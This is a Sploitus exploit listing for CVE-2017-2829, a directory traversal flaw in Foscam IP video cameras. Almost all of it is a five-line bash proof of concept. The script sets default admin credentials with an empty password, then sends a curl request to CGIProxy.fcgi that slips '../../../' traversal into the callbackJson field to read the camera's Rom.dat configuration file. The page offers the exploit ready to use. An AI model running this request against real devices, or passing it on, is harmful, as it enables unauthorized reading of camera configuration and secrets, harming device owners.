Sploitus

Exploit for Foscam IP Video Camera CGIProxy.fcgi Message 0x3001 Directory Traversal Vulnerability

CVE-2017-2829

seebug · 2017-09-15

Exploit Code

bash5 lines
## https://sploitus.com/exploit?id=SSV:96491
$ usr="admin"
$ pwd=""
$ fpath=/mnt/para/config/Rom.dat
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${usr}&pwd=${pwd}&cmd=usrBeatHeart&usrName=${usr}&callbackJson=<magic1234567890ABCDfileName>../../../${fpath}</magic123457890ABCDfileName>"